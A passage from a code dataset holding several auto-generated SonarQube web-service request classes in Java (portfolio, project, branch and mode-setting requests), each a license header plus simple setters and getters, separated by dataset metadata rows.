* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.views;
import javax.annotation.Generated;
/**
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/views/add_portfolio">Further information about this action online (including a response example)</a>
* @since 9.3
*/
@Generated("sonar-ws-generator")
public class AddPortfolioRequest {
private String portfolio;
private String reference;
/**
* This is a mandatory parameter.
*/
public AddPortfolioRequest setPortfolio(String portfolio) {
this.portfolio = portfolio;
return this;
}
public String getPortfolio() {
return portfolio;
}
/**
* This is a mandatory parameter.
*/
public AddPortfolioRequest setReference(String reference) {
this.reference = reference;
return this;
}
public String getReference() {
return reference;
}
}
| 1,747 | 28.133333 | 166 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/views/AddProjectBranchRequest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.views;
import javax.annotation.Generated;
/**
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/views/add_project_branch">Further information about this action online (including a response example)</a>
* @since 9.2
*/
@Generated("sonar-ws-generator")
public class AddProjectBranchRequest {
private String branch;
private String key;
private String project;
/**
* This is a mandatory parameter.
* Example value: "feature/my_branch"
*/
public AddProjectBranchRequest setBranch(String branch) {
this.branch = branch;
return this;
}
public String getBranch() {
return branch;
}
/**
* This is a mandatory parameter.
*/
public AddProjectBranchRequest setKey(String key) {
this.key = key;
return this;
}
public String getKey() {
return key;
}
/**
* This is a mandatory parameter.
* Example value: "my_project"
*/
public AddProjectBranchRequest setProject(String project) {
this.project = project;
return this;
}
public String getProject() {
return project;
}
}
| 2,016 | 25.893333 | 171 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/views/AddProjectRequest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.views;
import javax.annotation.Generated;
/**
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/views/add_project">Further information about this action online (including a response example)</a>
* @since 1.0
*/
@Generated("sonar-ws-generator")
public class AddProjectRequest {
private String key;
private String project;
/**
* This is a mandatory parameter.
*/
public AddProjectRequest setKey(String key) {
this.key = key;
return this;
}
public String getKey() {
return key;
}
/**
* This is a mandatory parameter.
* Example value: "my_project"
*/
public AddProjectRequest setProject(String project) {
this.project = project;
return this;
}
public String getProject() {
return project;
}
}
| 1,716 | 27.147541 | 164 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/views/ApplicationsRequest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.views;
import javax.annotation.Generated;
/**
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/views/applications">Further information about this action online (including a response example)</a>
* @since 9.3
*/
@Generated("sonar-ws-generator")
public class ApplicationsRequest {
private String portfolio;
/**
* This is a mandatory parameter.
*/
public ApplicationsRequest setPortfolio(String portfolio) {
this.portfolio = portfolio;
return this;
}
public String getPortfolio() {
return portfolio;
}
}
| 1,494 | 30.808511 | 165 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/views/CreateRequest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.views;
import javax.annotation.Generated;
/**
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/views/create">Further information about this action online (including a response example)</a>
* @since 1.0
*/
@Generated("sonar-ws-generator")
public class CreateRequest {
private String description;
private String key;
private String name;
private String parent;
private String visibility;
/**
*/
public CreateRequest setDescription(String description) {
this.description = description;
return this;
}
public String getDescription() {
return description;
}
/**
*/
public CreateRequest setKey(String key) {
this.key = key;
return this;
}
public String getKey() {
return key;
}
/**
* This is a mandatory parameter.
*/
public CreateRequest setName(String name) {
this.name = name;
return this;
}
public String getName() {
return name;
}
/**
*/
public CreateRequest setParent(String parent) {
this.parent = parent;
return this;
}
public String getParent() {
return parent;
}
/**
* Possible values:
* <ul>
* <li>"private"</li>
* <li>"public"</li>
* </ul>
*/
public CreateRequest setVisibility(String visibility) {
this.visibility = visibility;
return this;
}
public String getVisibility() {
return visibility;
}
}
| 2,333 | 22.34 | 159 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/views/DefineRequest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.views;
import javax.annotation.Generated;
/**
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/views/define">Further information about this action online (including a response example)</a>
* @since 1.0
*/
@Generated("sonar-ws-generator")
public class DefineRequest {
private String def;
/**
* This is a mandatory parameter.
*/
public DefineRequest setDef(String def) {
this.def = def;
return this;
}
public String getDef() {
return def;
}
}
| 1,434 | 29.531915 | 159 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/views/DeleteRequest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.views;
import javax.annotation.Generated;
/**
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/views/delete">Further information about this action online (including a response example)</a>
* @since 1.0
*/
@Generated("sonar-ws-generator")
public class DeleteRequest {
private String key;
/**
* This is a mandatory parameter.
*/
public DeleteRequest setKey(String key) {
this.key = key;
return this;
}
public String getKey() {
return key;
}
}
| 1,434 | 29.531915 | 159 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/views/MoveOptionsRequest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.views;
import javax.annotation.Generated;
/**
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/views/move_options">Further information about this action online (including a response example)</a>
* @since 1.0
*/
@Generated("sonar-ws-generator")
public class MoveOptionsRequest {
private String key;
/**
* This is a mandatory parameter.
*/
public MoveOptionsRequest setKey(String key) {
this.key = key;
return this;
}
public String getKey() {
return key;
}
}
| 1,450 | 29.87234 | 165 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/views/MoveRequest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.views;
import javax.annotation.Generated;
/**
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/views/move">Further information about this action online (including a response example)</a>
* @since 1.0
*/
@Generated("sonar-ws-generator")
public class MoveRequest {
private String destination;
private String key;
/**
* This is a mandatory parameter.
*/
public MoveRequest setDestination(String destination) {
this.destination = destination;
return this;
}
public String getDestination() {
return destination;
}
/**
* This is a mandatory parameter.
*/
public MoveRequest setKey(String key) {
this.key = key;
return this;
}
public String getKey() {
return key;
}
}
| 1,686 | 27.116667 | 157 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/views/PortfoliosRequest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.views;
import javax.annotation.Generated;
/**
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/views/portfolios">Further information about this action online (including a response example)</a>
* @since 9.3
*/
@Generated("sonar-ws-generator")
public class PortfoliosRequest {
private String portfolio;
/**
* This is a mandatory parameter.
*/
public PortfoliosRequest setPortfolio(String portfolio) {
this.portfolio = portfolio;
return this;
}
public String getPortfolio() {
return portfolio;
}
}
| 1,488 | 30.680851 | 163 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/views/ProjectsRequest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.views;
import javax.annotation.Generated;
/**
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/views/projects">Further information about this action online (including a response example)</a>
* @since 1.0
*/
@Generated("sonar-ws-generator")
public class ProjectsRequest {
private String key;
private String p;
private String ps;
private String query;
private String selected;
/**
* This is a mandatory parameter.
*/
public ProjectsRequest setKey(String key) {
this.key = key;
return this;
}
public String getKey() {
return key;
}
/**
*/
public ProjectsRequest setP(String p) {
this.p = p;
return this;
}
public String getP() {
return p;
}
/**
*/
public ProjectsRequest setPs(String ps) {
this.ps = ps;
return this;
}
public String getPs() {
return ps;
}
/**
*/
public ProjectsRequest setQuery(String query) {
this.query = query;
return this;
}
public String getQuery() {
return query;
}
/**
* Possible values:
* <ul>
* <li>"all"</li>
* <li>"deselected"</li>
* <li>"selected"</li>
* </ul>
*/
public ProjectsRequest setSelected(String selected) {
this.selected = selected;
return this;
}
public String getSelected() {
return selected;
}
}
| 2,269 | 21.475248 | 161 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/views/RefreshRequest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.views;
import javax.annotation.Generated;
/**
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/views/refresh">Further information about this action online (including a response example)</a>
* @since 7.1
*/
@Generated("sonar-ws-generator")
public class RefreshRequest {
private String key;
/**
*/
public RefreshRequest setKey(String key) {
this.key = key;
return this;
}
public String getKey() {
return key;
}
}
| 1,401 | 29.478261 | 160 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/views/RemoveApplicationRequest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.views;
import javax.annotation.Generated;
/**
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/views/remove_application">Further information about this action online (including a response example)</a>
* @since 9.3
*/
@Generated("sonar-ws-generator")
public class RemoveApplicationRequest {
private String application;
private String portfolio;
/**
* This is a mandatory parameter.
*/
public RemoveApplicationRequest setApplication(String application) {
this.application = application;
return this;
}
public String getApplication() {
return application;
}
/**
* This is a mandatory parameter.
*/
public RemoveApplicationRequest setPortfolio(String portfolio) {
this.portfolio = portfolio;
return this;
}
public String getPortfolio() {
return portfolio;
}
}
| 1,781 | 28.7 | 171 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/views/RemovePortfolioRequest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.views;
import javax.annotation.Generated;
/**
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/views/remove_portfolio">Further information about this action online (including a response example)</a>
* @since 9.3
*/
@Generated("sonar-ws-generator")
public class RemovePortfolioRequest {
private String portfolio;
private String reference;
/**
* This is a mandatory parameter.
*/
public RemovePortfolioRequest setPortfolio(String portfolio) {
this.portfolio = portfolio;
return this;
}
public String getPortfolio() {
return portfolio;
}
/**
* This is a mandatory parameter.
*/
public RemovePortfolioRequest setReference(String reference) {
this.reference = reference;
return this;
}
public String getReference() {
return reference;
}
}
| 1,759 | 28.333333 | 169 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/views/RemoveProjectBranchRequest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.views;
import javax.annotation.Generated;
/**
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/views/remove_project_branch">Further information about this action online (including a response example)</a>
* @since 9.2
*/
@Generated("sonar-ws-generator")
public class RemoveProjectBranchRequest {
private String branch;
private String key;
private String project;
/**
* This is a mandatory parameter.
* Example value: "feature/my_branch"
*/
public RemoveProjectBranchRequest setBranch(String branch) {
this.branch = branch;
return this;
}
public String getBranch() {
return branch;
}
/**
* This is a mandatory parameter.
*/
public RemoveProjectBranchRequest setKey(String key) {
this.key = key;
return this;
}
public String getKey() {
return key;
}
/**
* This is a mandatory parameter.
* Example value: "my_project"
*/
public RemoveProjectBranchRequest setProject(String project) {
this.project = project;
return this;
}
public String getProject() {
return project;
}
}
| 2,031 | 26.093333 | 174 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/views/RemoveProjectRequest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.views;
import javax.annotation.Generated;
/**
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/views/remove_project">Further information about this action online (including a response example)</a>
* @since 1.0
*/
@Generated("sonar-ws-generator")
public class RemoveProjectRequest {
private String key;
private String project;
/**
* This is a mandatory parameter.
*/
public RemoveProjectRequest setKey(String key) {
this.key = key;
return this;
}
public String getKey() {
return key;
}
/**
* This is a mandatory parameter.
*/
public RemoveProjectRequest setProject(String project) {
this.project = project;
return this;
}
public String getProject() {
return project;
}
}
| 1,695 | 27.266667 | 167 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/views/SearchRequest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.views;
import javax.annotation.Generated;
/**
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/views/search">Further information about this action online (including a response example)</a>
* @since 2.0
*/
@Generated("sonar-ws-generator")
public class SearchRequest {
private String onlyFavorites;
private String p;
private String ps;
private String q;
private String qualifiers;
/**
* Possible values:
* <ul>
* <li>"true"</li>
* <li>"false"</li>
* <li>"yes"</li>
* <li>"no"</li>
* </ul>
*/
public SearchRequest setOnlyFavorites(String onlyFavorites) {
this.onlyFavorites = onlyFavorites;
return this;
}
public String getOnlyFavorites() {
return onlyFavorites;
}
/**
* Example value: "42"
*/
public SearchRequest setP(String p) {
this.p = p;
return this;
}
public String getP() {
return p;
}
/**
* Example value: "20"
*/
public SearchRequest setPs(String ps) {
this.ps = ps;
return this;
}
public String getPs() {
return ps;
}
/**
* Example value: "sona"
*/
public SearchRequest setQ(String q) {
this.q = q;
return this;
}
public String getQ() {
return q;
}
/**
* Possible values:
* <ul>
* <li>"VW"</li>
* <li>"SVW"</li>
* </ul>
*/
public SearchRequest setQualifiers(String qualifiers) {
this.qualifiers = qualifiers;
return this;
}
public String getQualifiers() {
return qualifiers;
}
}
| 2,450 | 21.486239 | 159 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/views/SetManualModeRequest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.views;
import javax.annotation.Generated;
/**
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/views/set_manual_mode">Further information about this action online (including a response example)</a>
* @since 7.4
*/
@Generated("sonar-ws-generator")
public class SetManualModeRequest {
private String portfolio;
/**
* This is a mandatory parameter.
*/
public SetManualModeRequest setPortfolio(String portfolio) {
this.portfolio = portfolio;
return this;
}
public String getPortfolio() {
return portfolio;
}
}
| 1,499 | 30.914894 | 168 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/views/SetNoneModeRequest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.views;
import javax.annotation.Generated;
/**
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/views/set_none_mode">Further information about this action online (including a response example)</a>
* @since 9.1
*/
@Generated("sonar-ws-generator")
public class SetNoneModeRequest {
private String portfolio;
/**
* This is a mandatory parameter.
*/
public SetNoneModeRequest setPortfolio(String portfolio) {
this.portfolio = portfolio;
return this;
}
public String getPortfolio() {
return portfolio;
}
}
| 1,493 | 30.787234 | 166 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/views/SetRegexpModeRequest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.views;
import javax.annotation.Generated;
/**
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/views/set_regexp_mode">Further information about this action online (including a response example)</a>
* @since 7.4
*/
@Generated("sonar-ws-generator")
public class SetRegexpModeRequest {
private String branch;
private String portfolio;
private String regexp;
/**
*/
public SetRegexpModeRequest setBranch(String branch) {
this.branch = branch;
return this;
}
public String getBranch() {
return branch;
}
/**
* This is a mandatory parameter.
*/
public SetRegexpModeRequest setPortfolio(String portfolio) {
this.portfolio = portfolio;
return this;
}
public String getPortfolio() {
return portfolio;
}
/**
* This is a mandatory parameter.
*/
public SetRegexpModeRequest setRegexp(String regexp) {
this.regexp = regexp;
return this;
}
public String getRegexp() {
return regexp;
}
}
| 1,927 | 25.777778 | 168 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/views/SetRemainingProjectsModeRequest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.views;
import javax.annotation.Generated;
/**
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/views/set_remaining_projects_mode">Further information about this action online (including a response example)</a>
* @since 7.4
*/
@Generated("sonar-ws-generator")
public class SetRemainingProjectsModeRequest {
private String branch;
private String portfolio;
/**
*/
public SetRemainingProjectsModeRequest setBranch(String branch) {
this.branch = branch;
return this;
}
public String getBranch() {
return branch;
}
/**
* This is a mandatory parameter.
*/
public SetRemainingProjectsModeRequest setPortfolio(String portfolio) {
this.portfolio = portfolio;
return this;
}
public String getPortfolio() {
return portfolio;
}
}
| 1,740 | 28.508475 | 180 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/views/SetTagsModeRequest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
